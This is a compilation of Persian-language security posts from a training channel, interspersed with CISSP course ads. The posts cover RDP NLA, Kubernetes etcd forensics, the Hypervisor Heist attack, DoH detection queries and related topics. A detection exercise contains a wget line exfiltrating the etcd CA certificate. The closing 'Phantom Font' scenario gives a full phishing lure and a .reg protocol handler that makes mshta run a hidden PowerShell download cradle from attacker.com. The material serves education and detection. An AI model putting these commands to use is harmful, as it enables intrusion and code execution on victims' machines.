بحث Network Level Authentication (NLA) چیست؟

این موضوع یک ویژگی امنیتی است که در پروتکل RDP (نسخه‌های 6.0 و جدیدتر) معرفی شد. هدف اصلی آن این است که هویت کاربر را قبل از برقراری کامل یک جلسه Remote Desktop و بارگذاری صفحه لاگین ویندوز، تأیید کند.

به زبان ساده‌تر، به جای اینکه کامپیوتر مقصد (سرور) تمام منابع خود را برای ایجاد یک نشست کامل گرافیکی (Session) صرف کند و سپس از شما نام کاربری و رمز عبور بپرسد، NLA این فرآیند را معکوس می‌کند. اول هویت شما را در سطح شبکه تأیید می‌کند و تنها در صورت موفقیت‌آمیز بودن احراز هویت، اجازه می‌دهد که جلسه کامل برقرار شود.

این ویژگی از یک سرویس امنیتی به نام CredSSP (Credential Security Support Provider) استفاده می‌کند.


مزایای این روش:

امنیت بسیار بالاتر: از حملات DoS و Brute-Force جلوگیری می‌کند، زیرا مهاجمان حتی به صفحه لاگین هم نمی‌رسند که بخواهند رمزهای مختلف را تست کنند.
بهینه‌سازی منابع سرور: منابع سیستم فقط برای کاربران تأیید شده مصرف می‌شوند که باعث افزایش کارایی و پایداری سرور می‌گردد.
سرعت بالاتر در اتصال: چون فرآیند احراز هویت سبک و سریع است، اتصال برای کاربران قانونی سریع‌تر برقرار می‌شود.

#آکادمی_روزبه

فارنزیک Kubernetes

بازیابی رد پای حملات، حتی پس از پاک شدن پادها و آبجکت‌ها


وقتی مهاجم وارد کلاستر Kubernetes می‌شود و پس از اجرای payload یا دسترسی، سعی می‌کند آثار حمله‌اش را با حذف podها، secrets یا حتی namespace پاک کند، خیلی‌ها فکر می‌کنند دیگر اثری از نفوذ باقی نمی‌ماند.

اما…

تمام state کلاستر در etcd ذخیره می‌شود و اگر به موقع (و بی‌درنگ) یک snapshot از etcd تهیه شود ، می‌توانیم اطلاعات مربوط به آبجکت‌هایی که مدتی در کلاستر بودند (حتی اگر حذف شده باشند) را در تاریخچه و باقی‌مانده‌های etcd بازیابی و آنالیز کنیم.

مواردی که می‌شود پیداکرد:

موضوع Manifests حذف‌شده (yamlها)، یعنی کدهایی که مهاجم برای استقرار ابزار/ویروسش آورده است.
بحث Secrets، حتی اگر به ظاهر حذف شده باشند، در Snapshot ممکن است همچنان موجود باشد!
و eventها و متادیتاهایی مثل uid، timestamp ساخت و حذف، annotationهای مخفی و…

کاربرد عملی فارنزیک:

بازیابی کانفیگ و secrets بعد از حادثه و قبل از دستکاری کامل توسط مهاجم
مشخص کردن دقیق مسیر و قدم‌های مهاجم (TTPهای حمله)
یافتن شواهدی از ابزارهای یک‌بار مصرف (ephemeral pods)، مثل بات‌نت یا cryptominerهایی که سریع اسپین و حذف می‌شوند.


گاهی حتی بعد از حذف آبجکت‌ها، اثر انگشت (hashها، UIDها و annotationهای auto-generated) تا مدت‌ها به صورت reference در etcd باقی می‌ماند. این، یک شانس طلایی برای فارنزیک کار حرفه‌ای است!


#آکادمی_روزبه


از فرصت های خاص:
ثبت نام دوره حرفه ای CISSP
با تخفیف ۳۰ درصدی شرکت هامون
فقط اشخاص ساکن ایران
www.haumoun.com
واتس اپ و بله ۰۹۹۰۲۸۵۷۲۹۰

رای گیری ادامه داره

حمله Hypervisor Heist:

عبور خاموش از تمام خطوط دفاعی ویندوز و سرقت اعتبارنامه‌ها از VMware vSphere

در فضای امروز امنیت سایبری، بیشتر تمرکز سازمان‌ها روی حفاظت از سیستم‌عامل‌ها، سرویس‌ها و اپلیکیشن‌هاست. اما مهاجمان پیچیده‌تر سراغ لایه‌ای می‌روند که اغلب مورد غفلت قرار می‌گیرد:

هایپروایزر. یکی از سناریوهای حمله پیشرفته و به‌شدت خطرناک همین حمله Hypervisor Heist است که به ما نشان می‌دهد چطور یک تهدید می‌تواند خارج از دید کامل EDR و SIEM، اعتبارنامه‌های دامین کنترلر را سرقت کند.

شرح سناریوی حمله
در این حمله، مهاجم با دسترسی به vCenter (یا Hypervisor)، مراحل زیر را اجرا می‌کند:
شناسایی و خاموش‌کردن ماشین مجازی دامین کنترلر
مهاجم از vCenter ماشین دامین کنترلر را شناسایی و خاموش می‌کند تا دیسک آن باز نشود و دسترسی بگیرد.
جداسازی دیسک مجازی (.vmdk)
دیسک مجازی دامین کنترلر را از VM جدا کرده و به یک ماشین مجازی دیگر متصل می‌کند.

دسترسی آفلاین به دیتای حساس
در ماشین جدید، فایل NTDS.dit (بانک اطلاعاتی Active Directory) را کپی و استخراج می‌کند و حتی فایل‌ها و Credentialهای Kerberos و Hashها را استخراج می‌کند.

بازگشت به وضعیت عادی
نهایتاً دیسک مجازی را به همان VM اولیه برمی‌گرداند، VM را روشن می‌کند—انگار هیچ اتفاقی نیفتاده!

چرا این حمله را “Heist” می‌نامیم؟
پنهان‌کاری کامل: چون تمام عملیات روی دیسک آفلاین و بیرون از سیستم‌عامل ویندوز انجام می‌شود، محصولات امنیتی مانند EDR، XDR یا حتی SIEM هرگز متوجه حذف و کپی شدن NTDS.dit نمی‌شوند.
دور زدن هر نوع Rule شبکه: چون انتقال داده معمولاً از طریق سرور مدیریت (vCenter یا VCSA) انجام می‌شود، نفوذگر می‌تواند محدودیت‌های لایه شبکه را دور بزند مگر اینکه به‌درستی روی‌داده یا مانیتورینگ شود.
غفلت امنیتی سازمان‌ها: خیلی از سازمان‌ها هنوز هایپروایزر و زیرساخت مدیریت VMها را مانند سرویس‌های حیاتی، جدی نمی‌گیرند. در حالی که کنترل این لایه مساوی با کنترل همه چیز است.
راهکارها و توصیه‌ها
جداسازی شبکه مدیریت هایپروایزرهیچ دسترسی غیرضروری، اینترنتی یا حتی داخلی بدون کنترل نباید به vCenter و ESXi داده شود.
فعال‌سازی مانیتورینگ دقیق برروی vCenter، ESXi و Hypervisor APIsSIEM و SOAR باید آلارم‌های خاص مانند جدا کردن یا Add کردن دیسک، خاموش/روشن کردن غیرمنتظره VM را تحلیل کند.
رمزگذاری دیسک‌های VM و استفاده از TPM مجازیحتی اگر دیسک جدا شد، فقط با کلیدهای مدیریتی قابل بازیابی باشد.
استفاده از حساب‌های با کمترین سطح دسترسی و MFA برای مدیریت هایپروایزر
آموزش تیم عملیاتی و SOC در مورد TTPهای attack surface لایه مجازی‌سازی


#آکادمی_روزبه
#تجربه #درس_آموخته

تمرین برای مهندسان کشف

Detection Engineer


I0723 21:12:45.345678 1 audit.go:277] "Request received"
verb="create"
URI="/api/v1/namespaces/default/pods"
user="system:serviceaccount:devops:trusted-app"
sourceIP="192.168.10.239"



2025-07-23 21:13:02.991423 I | etcdserver: request: /v3/kv/range size:829
username=system:serviceaccount:devops:trusted-app
remote=192.168.10.239



I0723 21:13:10.564321 1 audit.go:277] "Create Pod" as "sleep-attack-459f9"
using serviceaccount="trusted-app"
image="busybox"
command="wget http://10.10.10.10/exfil --post-file /etc/kubernetes/pki/etcd/ca.crt"


Jul 23 21:13:15 node-4 kubelet[1217]: Created pod: sleep-attack-459f9 with image busybox
Jul 23 21:14:02 node-4 kubelet[1217]: Deleted pod: sleep-attack-459f9


{
"src_ip": "192.168.10.239",
"dst_ip": "10.10.10.10",
"src_port": 43216,
"dst_port": 80,
"payload_size": "2.3MB",
"timestamp": "2025-07-23T21:13:18Z"
}


حالا فکر کنید به اینکه چه خبره ؟!




ثبت نام دوره آمادگی آزمون CISSP
با 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
#مرکز_تخصصی_CISSP

هشدار مهم : شیر پوینت هاتون رو دریابید خیلی داره مورد حمله واقع میشه

CVE 2025-53770

به پایان آمد این دفتر ...
حکایت همچنان باقی

امروز جلسه آخر دوره بهار CISSP
الحمدالله
تمام.

۲ مرداد ماه ۱۴۰۴ تهران

بعد از چند سال و مخصوصا که الان دوره افتای SOC رو گذاشتم به فکر افتادم حالا که علاقمندان از من دوره هانت و تهدیدات پیشرفته میخوان ، چرا یه دوره جامع از اول نگذارم 👇👇
مطابق سرفصل های استاندارد جهانی نه سرفصل های ابداعی خودم
کاملا سرفصل های جهان بدون تغییر

در پست بعد بگویید

ثبت نام نکنید!!

شرایط کلاس من خاص است نه اینکه از آسمان آمده باشد بلکه من یک سرفصل سنگین برای ۱۰۰ ساعت CISSP دارم که مجبورم در ۳۰ ساعت ارائه دهم.

لذا راهکار را در این دیدم که :

۱- کلاس بجای کمپ ؛ بصورت هفتگی باشد تا زمان مطالعه بین جلسات یک هفته و قابل قبول باشد
۲- دانشجویان باید هر هفته همراه کلاس بخوانند
۳-در طول دوره و در طول هفته بخشی از مطالب قرار است در گروه تلگرامی ارائه شوند اما بنا به ماهیت فلسفی کلاس ابتدا سوالاتی در کلاس مطرح می‌شود و دانشجو باید ادامه ی آنرا در گروه انجام دهد. اگر ایشان پیگیر نباشد و کلاس را شرکت نکند یا مطالعه نداشته باشد و سوالی مطرح نشود؛ قطعا بخشی از کلاس از دست خواهد رفت
۴- اگرحوصله خواندن ندارید یا میخواین با ویدئو بعدا یاد بگیرید یا پیش نیاز ندارین ؛ کلاس نیاین! چون نمیشه با ویدئو؛ کلاس و دوره رو یاد گرفت.

۵-من تعهد به پشتیبانی از دانشجو رو دارم اما هر درس در همون جلسه و همون هفته و منتورینگ برای یکسال؛ پس اگر می‌گذارید درسها تلنبار شوند بعد یادتان می‌افتد که باید بخوانید؛ نباید از من انتظار زیاد داشته باشید چون من کلی پروژه دارم و وقت نمیکنم .
۶-من ادعای زیادی ندارم ولی تونسته ام سواد و توانمندی خاصی جمع کنم و درسی رو ارائه بدم اماااا تحت شرایطی !!
لذا اگر با این شرایط موافق نیستید؛ جاهای دیگر هست و در آن کلاسها شرکت فرمایید و یکدیگر را اذیت نکنیم
این دوره با این شرایط حداقل ۲۵۰۰ دلار ارزش دارد حالا اگر کسی اینو درک کرد ثبت نام میکند.

۷-اگر کارمندان شرکت و سازمانی قراره به اجبار یه دوره ۶ میلیون تومانی بروند، یا کلا دیدتون به CISSP یکسری محفوظات هست یا اینکه قراره نیست از گروه تلگرامی دوره سود ببرید و فقط قراره ویدئو ببینید ؛ لذا این دوره رو شرکت نکنید!! چون بله عددش زیاده و براتون نمی‌صرفه و تخفیف هم نمیتونیم بدیم چون تدریس چنین دوره ای در این سطح؛ زحمت داره.

در نهایت: من تعهدی بر تحویل ویدئوی دوره و متریال ها بصورت دسته بندی شده ندارم . ویدئو پس از هر جلسه شیر میشه و مطالب و رفرنس ها همون جلسه داده میشه لذا از من انتظار کالکتور بودن نداشته باشین

قدمتون سرچشم اگر اومدین و اگر نیومدین موفق باشید


با احترام 🌺

این حجم از درخواست عزیزان و ارادت دوستان منو به فکر انداخت شاید لازم باشه یک استارت مجدد از صفر تا صد SOC برای هموطنانم داشته باشم.

طراحی SOC های نوین
عبور از دیوار نامرئی؛ استراتژی‌های عملی برای نظارت و امنیت در عصر HTTP/3

ظهور پروتکل HTTP/3 و پروتکل زیربنایی آن، QUIC، نشانگر یک جهش بزرگ در تکامل اینترنت است. این پروتکل‌ها با هدف افزایش چشمگیر سرعت، کاهش تأخیر و بهبود امنیت طراحی شده‌اند. اما همین ویژگی‌هایی که HTTP/3 را قدرتمند می‌سازند، یک چالش بزرگ و بنیادین برای تیم‌های امنیت شبکه، مدیران سیستم و تحلیلگران SOC ایجاد کرده‌اند: از دست رفتن دید و شفافیت (Visibility) در ترافیک شبکه.

راهکارهای عملی برای نظارت و تحلیل

راهکار1: مسدودسازی یا محدودسازی QUIC (رویکرد کوتاه‌مدت)
این یک راهکار فوری اما غیرپایدار است. از آنجایی که QUIC روی پورت UDP/443 کار می‌کند، سازمان‌ها می‌توانند به سادگی ترافیک خروجی روی این پورت را مسدود کنند.


راهکار ۲: تحلیل متادیتا و اثرانگشت ترافیک (Metadata & Fingerprinting)
حتی اگر نتوانید محتوای ترافیک را ببینید، هنوز می‌توانید از متادیتای آن اطلاعات ارزشمندی استخراج کنید.

راهکار ۳: بازرسی درون‌خطی و پراکسی (Inline / Man-in-the-Middle)
این رویکرد مشابه بازرسی TLS سنتی است اما برای QUIC تطبیق داده شده است. یک دستگاه میانی ترافیک را خاتمه داده، بازرسی کرده و مجدداً برقرار می‌کند.

راهکار ۴: نظارت بر روی نقطه پایانی (Endpoint Visibility) - استراتژی کلیدی آینده
این راهکار، پارادایم را از “نظارت بر شبکه” به “نظارت بر جایی که داده تولید و مصرف می‌شود” تغییر می‌دهد. این مؤثرترین راهکار بلندمدت است.

بحث HTTP/3 و QUIC یک چالش جدی اما قابل مدیریت هستند. دوران تکیه صرف بر بازرسی پسیو شبکه به پایان رسیده است. برای حفظ دید و امنیت، سازمان‌ها باید یک ذهنیت جدید را بپذیرند: استراتژی‌ای که ترکیبی هوشمندانه از کنترل‌های مرزی، تحلیل متادیتای شبکه و مهم‌تر از همه، دید عمیق بر روی نقاط پایانی باشد. عبور از دیوار نامرئی QUIC نیازمند ابزارهای جدید و یک رویکرد چندلایه و انعطاف‌پذیر است.


دوره تخصصی CISSP
استفاده از 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
www.haumoun.com

راهنمای جامع تشخیص ترافیک DoH (DNS-over-HTTPS) با استفاده از Zeek و Splunk Stream

ترافیک DNS-over-HTTPS (DoH) با رمزگذاری درخواست‌های DNS درون ترافیک وب HTTPS، نظارت و کنترل سنتی بر DNS را برای تیم‌های امنیتی به یک چالش جدی تبدیل کرده است. بدافزارها، ابزارهای نفوذ و حتی مرورگرهای استاندارد از این تکنیک برای دور زدن سیاست‌های امنیتی و پنهان کردن فعالیت‌های خود استفاده می‌کنند. این راهنما به صورت جامع به شما نشان می‌دهد چگونه با استفاده از دو ابزار قدرتمند Zeek و Splunk Stream این ترافیک پنهان را شناسایی کنید.

اصول کلیدی شناسایی ترافیک DoH

قبل از پرداختن به ابزارها، باید بدانیم به دنبال چه سرنخ‌هایی هستیم. شناسایی موفق DoH بر پایه‌ی ترکیبی از شاخص‌های زیر استوار است:

1. سرورهای مقصد شناخته‌شده: اتصال به IPها یا دامنه‌هایی که به عنوان ارائه‌دهنده‌ی عمومی DoH شناخته می‌شوند (مانند Cloudflare, Google, Quad9).
2. پورت استاندارد: ترافیک DoH تقریباً همیشه از پورت استاندارد HTTPS یعنی 443/tcp استفاده می‌کند.
3. مسیر URI خاص: درخواست‌های DoH معمولاً به مسیرهای URI مشخصی مانند /dns-query یا /resolve ارسال می‌شوند.
4. هدرهای HTTP: وجود هدر Content-Type: application/dns-message در درخواست‌های POST یک شاخص بسیار قوی است.
5. متادیتای TLS:
و SNI نام دامنه‌ای که کلاینت قصد اتصال به آن را دارد و حتی در ترافیک رمزگذاری‌شده نیز قابل مشاهده است.
فینگرپرینت JA3/JA3S: اثر انگشت منحصر به فرد کلاینت و سرور TLS که می‌تواند برای شناسایی ابزارها یا بدافزارهای خاص استفاده شود.



بخش اول: تشخیص DoH با Zeek

و Zeek با تحلیل عمیق پروتکل‌ها، ابزاری ایده‌آل برای این کار است. به جای تکیه بر اسکریپت‌های آماده، بهترین رویکرد، ایجاد یک اسکریپت سفارشی برای تولید لاگ‌های ساختاریافته و اختصاصی است.

رویکرد حرفه‌ای: ایجاد لاگ اختصاصی doh.log

این رویکرد به جای چاپ خروجی در کنسول، یک فایل لاگ جداگانه و تمیز به نام doh.log ایجاد می‌کند که تحلیل و یکپارچه‌سازی آن با سایر ابزارها (مانند SIEM) را بسیار آسان می‌سازد.

اسکریپت detect-doh.zeek:

این اسکریپت را در مسیر site/ یا local.zeek خود بارگذاری کنید.


# file: site/detect-doh.zeek

1. تعریف ماژول و ساختار لاگ اختصاصی
module DOH;

export {
تعریف نوع داده برای نگهداری اطلاعات رویداد DoH
type Info: record {
ts: time &log; زمان دقیق رویداد
uid: string &log; شناسه یکتای اتصال برای ارتباط با سایر لاگ‌ها
id: conn_id &log; اطلاعات کامل اتصال (IPها و پورت‌ها)
method: string &log; متد HTTP (GET/POST)
host: string &log &optional; هدر هاست از درخواست HTTP
uri: string &log; URI کامل درخواست
user_agent: string &log &optional; User-Agent کلاینت
ja3: string &log &optional; فینگرپرینت TLS کلاینت (از ssl.log)
};

2. ایجاد یک جریان لاگ جدید به نام doh.log
const log_file = "doh.log";
global log_stream: Log::Stream = Log::create_stream(DOH::log_file, [$columns=Info]);
}

3. پردازش رویدادهای HTTP برای شناسایی الگو
event http_request(c: connection, method: string, original_URI: string, unescaped_URI: string, version: string)
{
# شرط اصلی: پورت 443 و URIهای شناخته‌شده
if ( c$id$resp_p == 443/tcp &&
( "/dns-query" in unescaped_URI || "/resolve" in unescaped_URI ) )
{
# ساختن رکورد لاگ با اطلاعات استخراج شده
local doh_info: Info;
doh_info$ts = network_time();
doh_info$uid = c$uid;
doh_info$id = c$id;
doh_info$method = method;
doh_info$host = c$http$host;
doh_info$uri = unescaped_URI;
doh_info$user_agent = c$http$user_agent;

# اگر اتصال TLS بوده، فینگرپرینت JA3 را اضافه کن
if ( c$ssl?$ja3 ) {
doh_info$ja3 = c$ssl$ja3;
}

4. نوشتن رکورد نهایی در فایل doh.log
Log::write(DOH::log_stream, doh_info);
}
}


تحلیل خروجی

پس از اجرای Zeek با این اسکریپت، فایل logs/current/doh.log شما حاوی رکوردهایی ساختاریافته خواهد بود. شما می‌توانید با استفاده از فیلد uid، هر رویداد DoH را به لاگ‌های دیگر مانند ssl.log (برای تحلیل عمیق TLS) و conn.log` (برای مشاهده حجم داده و مدت زمان اتصال) مرتبط کنید.



بخش دوم: تشخیص DoH با Splunk Stream


انتهای بخش اول

آکادمی روزبه
دوره CISSP
واتس اپ و بله 09902857290

قسمت دوم

وSplunk Stream می‌تواند ترافیک شبکه را به صورت زنده تحلیل و داده‌های ارزشمندی استخراج کند. نکته کلیدی در اینجا، آگاهی از وضعیت رمزگشایی TLS است.

پیش‌نیاز کلیدی: وضعیت رمزگشایی ترافیک TLS

* اگر رمزگشایی TLS فعال است:شما به محتوای کامل HTTP (مانند uri_path) دسترسی دارید.
* اگر رمزگشایی TLS فعال نیست (سناریوی رایج): شما نمی‌توانید محتوای HTTP را ببینید، اما همچنان به متادیتای بسیار ارزشمند TLS دسترسی دارید.

روش ۱: جستجو در ترافیک رمزگشایی‌شده (مبتنی بر HTTP)

این کوئری زمانی کار می‌کند که Splunk Stream قادر به دیدن محتوای ترافیک HTTPS باشد.


sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")
| stats count by src_ip, dest_ip, uri_path, http_method, user_agent, ja3
| sort - count

روش ۲: استفاده از متادیتای TLS (رویکرد پیشنهادی و واقع‌گرایانه)

این روش نیازی به رمزگشایی ترافیک ندارد و با تحلیل فیلد SNI (server_name`) در هندشیک TLS کار می‌کند. این روش بسیار قابل اعتمادتر است.


sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "mozilla.cloudflare-dns.com", "doh.opendns.com", "dns.quad9.net")
| stats count, dc(src_ip) as distinct_clients by server_name, dest_ip, ja3, ja3s
| rename server_name as DOH_Provider
| sort - count

* نکته: لیست IN (...) را باید به‌روز نگه دارید.
* فیلدهای ja3 و ja3s به شما در شناسایی کلاینت‌ها (مرورگرها یا بدافزارها) کمک می‌کنند.

روش ۳: کوئری ترکیبی برای حداکثر دقت

این کوئری هر دو روش بالا را ترکیب می‌کند تا جامع‌ترین دید را ارائه دهد و احتمال خطا را کاهش دهد.


(sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")) OR
(sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "*.quad9.net"))
| stats values(uri_path) as uri_paths, values(http_method) as methods, count by src_ip, dest_ip, server_name, ja3, user_agent
| sort - count


جمع‌بندی و استراتژی نهایی

شناسایی ترافیک DoH یک بازی "همه یا هیچ" نیست، بلکه یک فرآیند مبتنی بر تجمیع شواهد است.

1. با روش‌های با دقت بالا شروع کنید: جستجو بر اساس لیست دامنه‌های DoH شناخته‌شده (server_name در Splunk یا host در Zeek) کمترین میزان هشدارهای کاذب را دارد.
2. از شاخص‌های عمومی‌تر برای کشف موارد ناشناخته استفاده کنید: الگوهایی مانند uri_path="/dns-query"` می‌توانند سرویس‌های DoH جدید یا خصوصی را کشف کنند.
3. از JA3 برای شناسایی ابزارها استفاده کنید: فینگرپرینت‌های JA3 می‌توانند به شما بگویند آیا ترافیک DoH از یک مرورگر استاندارد (مثلاً Firefox) نشأت می‌گیرد یا از یک ابزار ناشناخته یا مخرب.
4. ایجاد خط پایه (Baseline): رفتار عادی DoH در شبکه خود را بشناسید. افزایش ناگهانی یا ظهور کلاینت‌های جدید DoH می‌تواند یک زنگ خطر باشد.

با به کارگیری این راهنمای جامع، شما قادر خواهید بود دید کاملی بر این نقطه کور امنیتی پیدا کرده و به طور موثرتری از شبکه خود محافظت کنید.


دوره CISSP
واتس اپ و بله 09902857290

مثالهایی که باهاشون درگیر بودم :


بدافزارهایی هستن که کامل توی رم اجرا میشن و هیچ اثری از خودشون رو دیسک باقی نمیذارن. اما یه سطح بالاترش هم هست—بدافزاری که با استفاده از WMI (Windows Management Instrumentation) نه تنها فایل نمی‌سازه، بلکه کد خودش رو به صورت اسکریپت (مثلاً PowerShell) توی property یه کلاس WMI ذخیره می‌کنه!
بعد فقط با یه Query به WMI، اون کد اجرا میشه و هیچ ردپایی توی پروسه‌های عادی وجود نداره.

تصور کن حتی با جست‌وجو در پروسه‌ها و فایل‌ها هم چیزی پیدا نمی‌کنی، چون کد مخرب فقط وقتی Query خاص اجرا بشه از دل WMI بیرون میاد!



تنها راه کشفش اینه که ریجستری و دیتابیس WMI رو مستقیم برای Payloadهای مشکوک اسکن کنی که خیلی از آنتی‌ویروس‌ها یا حتی تحلیل‌گرها بهش دقت نمی‌کنن.


✅️شروع دوره CISSP تاریخ ۳۰ مرداد

آخرین مهلت برای استفاده از تخفیف ۳۰ درصدی تاریخ ۲۰ مرداد

واتس اپ و بله 09902857290
Www.haumoun.com

میتوان با یادگارهایی که به جا می‌گذاریم کاری کنیم در یادها بمانیم و طولانی تر زنده باشیم

پس در نشر دانش کوشا باشید

لینک زیر نسخه 8.0 را یک تغییر بنیادی برای BloodHound معرفی می‌کند که هدف آن تبدیل این ابزار از یک تحلیلگر مسیرهای حمله در Active Directory به یک پلتفرم جامع مدیریت ریسک هویتی (Identity Risk Management) در کل سازمان است.
مفهوم اصلی: چرا OpenGraph؟

مقاله توضیح می‌دهد که با پیچیده‌تر شدن محیط‌های سازمانی، هویت‌ها (کاربران، سرویس‌ها و…) و دسترسی‌های آن‌ها دیگر فقط به Active Directory محدود نمی‌شوند. امروزه یک هویت ممکن است به سیستم‌های زیر دسترسی داشته باشد:

محیط‌های ابری (مثل AWS, Azure, GCP)
پلتفرم‌های داده (مثل Snowflake)
ابزارهای توسعه (مثل GitHub, Jenkins)
سیستم‌های SaaS (مثل Salesforce)

مشکل اینجا بود که نسخه های قبلی BloodHound فقط می‌توانستند روابط و دسترسی‌ها را در محیط مایکروسافت (AD/Entra ID) ببینند و از خطرات موجود در این پلتفرم‌های دیگر بی‌خبر بودند. این یعنی یک تصویر ناقص از ریسک‌های واقعی سازمان به دست می‌آمد.

این OpenGraph راه‌حل این مشکل است. این یک معماری جدید است که به BloodHound اجازه می‌دهد:

دریافت داده از هر منبعی: می‌تواند داده‌های مربوط به هویت و دسترسی را از هر پلتفرمی (GitHub, Snowflake, SQL Server و غیره) دریافت و تحلیل کند.
ایجاد مدل تهدید سفارشی: به سازمان‌ها اجازه می‌دهد تا مدل داده و روابط خاص خودشان را تعریف کنند. مثلاً می‌توان تعریف کرد که یک “کاربر” در GitHub چگونه به یک “مخزن کد (Repository)” دسترسی “Admin” دارد.
تحلیل جامع ریسک: با ترکیب داده‌های تمام این سیستم‌ها، BloodHound v8.0 یک نقشه کامل از تمام مسیرهای حمله ممکن در کل سازمان ارائه می‌دهد، نه فقط در یک بخش آن.


https://specterops.io/blog/2025/07/29/bloodhound-v8-usability-extensibility-and-opengraph/

شما نمی‌توانید در آزمون CISSP موفق شوید مگر آنکه Cover to cover کتاب رو بخونید

هیییییچ راه میانبری برای موفقیت وجود ندارد

درد باید کشید شب نخوابی باید داشت

سناریوی جذاب امشب : "فونت شبح" (The Phantom Font Attack)

این سناریو mshta.exe را با تکنیک‌های دیگری ترکیب می‌کند تا یک حمله تقریباً نامرئی و بدون فایل (Fileless) ایجاد کند که حتی ممکن است برخی از سیستم‌های EDR (Endpoint Detection and Response) را به چالش بکشد.

هدف مهاجم: اجرای کد مخرب روی سیستم قربانی (مثلاً یک کارمند در یک شرکت بزرگ) بدون اینکه هیچ فایل اجرایی یا اسکریپت مشکوکی روی دیسک ذخیره شود و با دور زدن سیاست‌های محدودکننده اسکریپت.


مرحله ۱: طعمه و نفوذ اولیه (The Lure)

مهاجم یک ایمیل فیشینگ بسیار هوشمندانه برای قربانی ارسال می‌کند. محتوای ایمیل، یک سند طراحی یا گزارش برندینگ از طرف "تیم بازاریابی" است. در ایمیل نوشته شده:

سلام، لطفاً پیش‌نویس گزارش برندینگ Q3 را بررسی کنید. توجه: برای مشاهده صحیح گزارش، باید فونت مخصوص شرکت ما که در لینک زیر قرار دارد را نصب کنید. بدون این فونت، سند به هم ریخته نمایش داده می‌شود. با تشکر.

لینک ارائه شده در ایمیل به نظر یک لینک دانلود فونت است، مثلاً https://branding-assets.com/fonts/download.php?font=CorpSans.ttf.

مرحله ۲: سوءاستفاده از رجیستری ویندوز (The Registry Trick)

اینجاست که سناریو عجیب می‌شود. قربانی روی لینک کلیک می‌کند. اما سرور مهاجم به جای یک فایل فونت (.ttf)، یک فایل با پسوند .reg برای او ارسال می‌کند. بسیاری از کارمندان ممکن است ندانند فایل .reg چیست و با دیدن پیغام ویندوز مبنی بر "اضافه کردن اطلاعات به رجیستری" (Add information to the registry)، دکمه Yes را بزنند، با این تصور که در حال نصب فونت هستند.

این فایل .reg یک تغییر کوچک اما حیاتی در رجیستری ویندوز ایجاد می‌کند. این فایل یک "Protocol Handler" سفارشی برای یک پروتکل ساختگی به نام fontview:// تعریف می‌کند.

محتوای فایل .reg چیزی شبیه به این است:


[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\fontview\shell]

[HKEY_CLASSES_ROOT\fontview\shell\open]

[HKEY_CLASSES_ROOT\fontview\shell\open\command]
@="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\PhantomFont\\\\Payload'));window.close();\""


چه اتفاقی افتاد؟
این فایل به ویندوز می‌گوید: "از این به بعد، هر لینکی که با fontview:// شروع شود را با mshta.exe باز کن و این دستور جاوا اسکریپت را اجرا کن."

مرحله ۳: اجرای بدون فایل از طریق رجیستری (The Fileless Execution)

پس از اینکه قربانی فایل .reg را اجرا کرد، صفحه وب مهاجم (که قربانی از آن فایل را "دانلود" کرده بود) به صورت خودکار به یک URL جدید ریدایرکت می‌شود:

fontview://load

ویندوز با دیدن این لینک، بلافاصله mshta.exe را طبق دستوری که در رجیستری ثبت شده، فراخوانی می‌کند. حالا mshta.exe دستور جاوا اسکریپت زیر را اجرا می‌کند:

javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\PhantomFont\\Payload'));window.close();

این دستور به mshta می‌گوید:
1. به رجیستری ویندوز در مسیر HKCU\Software\PhantomFont برو.
2. مقداری به نام Payload را از آنجا بخوان.
3. محتوای خوانده شده را به عنوان کد جاوا اسکریپت اجرا کن (eval).
4. بلافاصله پنجره mshta.exe را ببند (window.close()) تا هیچ اثری روی صفحه باقی نماند.

اما صبر کنید، مقدار Payload از کجا آمده؟ مهاجم آن را همزمان با تعریف Protocol Handler در همان فایل .reg اولیه در رجیستری ذخیره کرده است!

بنابراین، فایل .reg کامل چیزی شبیه این بوده:


[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
... (بقیه دستورات Protocol Handler) ...

[HKEY_CURRENT_USER\Software\PhantomFont]
"Payload"="var sh = new ActiveXObject('WScript.Shell'); sh.Run('powershell -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring(\\'http://attacker.com/stage2.ps1\\'))\\"', 0, false);"
`

این مقدار Payload یک کد PowerShell است که از سرور مهاجم یک اسکریپت دیگر (مثلاً یک Cobalt Strike Beacon) را دانلود و در حافظه (memory) اجرا می‌کند.

این سناریو نشان می‌دهد که چگونه یک ابزار به ظاهر ساده مانند mshta.exe می‌تواند به عنوان یک قطعه کلیدی در یک زنجیره حمله بسیار پیچیده و پنهانکارانه عمل کند.


توضیح :
اینfontview:// یک پروتکل جعلی است و پروتکل هندلر آن، دستوری است که مهاجم در رجیستری ویندوز کاشته تا به ویندوز بگوید با این پروتکل جعلی چه کار کند؛ که در این سناریو، اجرای mshta.exe برای اهداف مخرب است.